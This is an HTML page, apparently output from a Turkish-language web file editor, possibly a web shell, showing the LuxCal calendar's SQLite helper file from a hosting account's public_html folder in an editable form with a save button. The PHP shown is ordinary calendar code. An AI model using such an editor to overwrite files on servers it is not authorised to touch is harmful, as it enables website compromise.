    <h3>/home/bparcsg/public_html/bookingnew/common/toolboxd.php dÃ¼zenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/bookingnew/common/toolboxd.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php
/*
=== DATABASE RELATED FUNCTIONS - SQLITE ===

© Copyright 2009-2018 LuxSoft - www.LuxSoft.eu

This file is part of the LuxCal Web Calendar.
*/

//Current LuxCal version
define(&quot;LCV&quot;,&quot;4.6.1L&quot;);

//Log message
function logError($logName,$logMsg,$newMsg,$script='-') {
	date_default_timezone_set(@date_default_timezone_get());
	if ($script == '-') { $script = $_SERVER['PHP_SELF']; }
	file_put_contents(&quot;./logs/{$logName}.log&quot;, ($newMsg ? &quot;\n&quot;.date('Y.m.d H:i:s').&quot; Script: &quot;.htmlentities($script) : '').&quot; - {$logMsg}&quot;, FILE_APPEND);
}

//Connect to database
function dbConnect($calID,$exitOnError=1) {
	global $dbDir;

	$fileName = &quot;{$dbDir}{$calID}.cdb&quot;;
	if ($exitOnError and (!file_exists($fileName) or @filesize($fileName) == 0)) {
		exit(&quot;Calendar '{$dbDir}{$calID}' not found.&quot;);
	}
	try {
		$dbH = new PDO(&quot;sqlite:{$fileName}&quot;);
		$dbH-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	}
	catch(PDOException $e) {
		if ($exitOnError) {
			logError('sql',&quot;Database connection error: &quot;.$e-&gt;getMessage(),true);
			exit(&quot;Could not connect to the calendar database. See 'logs/sql.log'&quot;);
		} else {
			return false; //error
		}
	}
	return $dbH; //return db handle
}

//Query database
function dbQuery($query,$logError=1) {
global $dbH;

	try {
		$stH = $dbH-&gt;query($query);
	}
	catch (PDOException $e) {
		if ($logError) {
			logError('sql',&quot;SQL query error: &quot;.$e-&gt;getMessage().&quot;\nQuery string: {$query}&quot;,true);
			exit(&quot;SQL error. See 'logs/sql.log'&quot;);
		} else {
			return false; //error
		}
	}
	return $stH; //result statement handle
}

//Begin / commit / roll back transaction
function dbTransaction($action,$logError=1) {
global $dbH;

	try {
		switch ($action[0]) {
			case 'b': $result = $dbH-&gt;beginTransaction(); break;
			case 'c': $result = $dbH-&gt;commit(); break;
			case 'r': $result = $dbH-&gt;rollBack();
		}
	}
	catch (PDOException $e) {
		if ($logError) {
			logError('sql',&quot;SQL transaction error: &quot;.$e-&gt;getMessage().&quot;\nQuery: {$action} transaction&quot;,true);
			exit(&quot;SQL error. See 'logs/sql.log'&quot;);
		} else {
			return false; //error
		}
	}
	return $result;
}

//Get last inserted row ID
function dbLastRowId() {
global $dbH;

	return $dbH-&gt;lastInsertId();
}

//Prepare SQL statement 
function stPrep($query,$logError=1) {
global $dbH;

	try {
		$stH = $dbH-&gt;prepare($query);
	}
	catch (PDOException $e) {
		if ($logError) {
			logError('sql',&quot;SQL prepare error: &quot;.$e-&gt;getMessage().&quot;\nQuery string: {$query}&quot;,true);
			exit(&quot;SQL error. See 'logs/sql.log'&quot;);
		} else {
			return false; //error
		}
	}
	return $stH; //successful
}

//Execute prepared statement 
function stExec($stH,$values,$logError=1) {
	try {
		$result = $stH-&gt;execute(!empty($values) ? $values : array());
	}
	catch (PDOException $e) {
		if ($logError) {
			logError('sql',&quot;SQL execute error: &quot;.$e-&gt;getMessage().&quot;\nValues string: &quot;.implode(',',$values),true);
			exit(&quot;SQL error. See 'logs/sql.log'&quot;);
		} else {
			return false; //error
		}
	}
	return $result; //successful
}

function getTableSql($table) { //get SQL code to create table
	$stH = dbQuery(&quot;SELECT `sql` FROM `sqlite_master` WHERE `type` = 'table' AND `name` = '{$table}'&quot;);
	$sqlCode = $stH-&gt;fetch(PDO::FETCH_NUM);
	$stH = null; //release statement handle!
	return $sqlCode[0];
}

function getTables($table='*') { //get array with one or all db tables
	$tableSet = $table == '*' ? &quot;'events','categories','users','groups','settings','styles'&quot; : &quot;'{$table}'&quot;;
	$tables = array();
	$stH = dbQuery(&quot;SELECT `name` FROM `sqlite_master` WHERE `type` = 'table' AND `name` IN ($tableSet)&quot;); //get table names
	while ($row = $stH-&gt;fetch(PDO::FETCH_NUM)) {
		$tables[] = $row[0]; //add table name
	}
	$stH = null; //release statement handle!
	return $tables; //array with table names
}

function getCIDs() { //get array with installed calendar IDs
	global $dbDir;
	
	$cals = array();
	if (($dirScan = scandir($dbDir)) != false) {
		foreach($dirScan as $entry) {
			if (substr($entry,-4) == '.cdb') { //calendar db
				$cals[] = substr($entry,0,-4);
			}
		}
	}
	return $cals; //array with cal names
}

function getCals() { //get array with name and title of installed calendars
	global $dbH, $dbDir;

	$curCals = array();
	if (($dirScan = scandir($dbDir)) != false) {
		foreach($dirScan as $entry) {
			if (substr($entry,-4) == '.cdb') { //db
				$calID = substr($entry,0,-4);
				if ($dbH = dbConnect($calID,0)) { //connect to db and get calendar title
					if ($stH = dbQuery(&quot;SELECT `value` FROM `settings` WHERE `name` = 'calendarTitle'&quot;,0)) {
						if ($row = $stH-&gt;fetch(PDO::FETCH_NUM)) { //found
							$stH = null; //release statement handle
							$curCals[$calID] = $row[0]; //add calendar name and title
						}
					}
					$dbH = null; //close db
				}
			}
		}
	}
	return $curCals;
}

function getSettings() { //Get settings from database
	$set = array();
	$stH = dbQuery(&quot;SELECT `name`,`value` FROM `settings`&quot;);
	while ($row = $stH-&gt;fetch(PDO::FETCH_ASSOC)) {
		$set[$row['name']] = $row['value'];
	}
	$stH = null; //release statement handle
	return $set; //array with settings
}
?&gt;</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/bparcsg/public_html/bookingnew/common">â† Geri</a>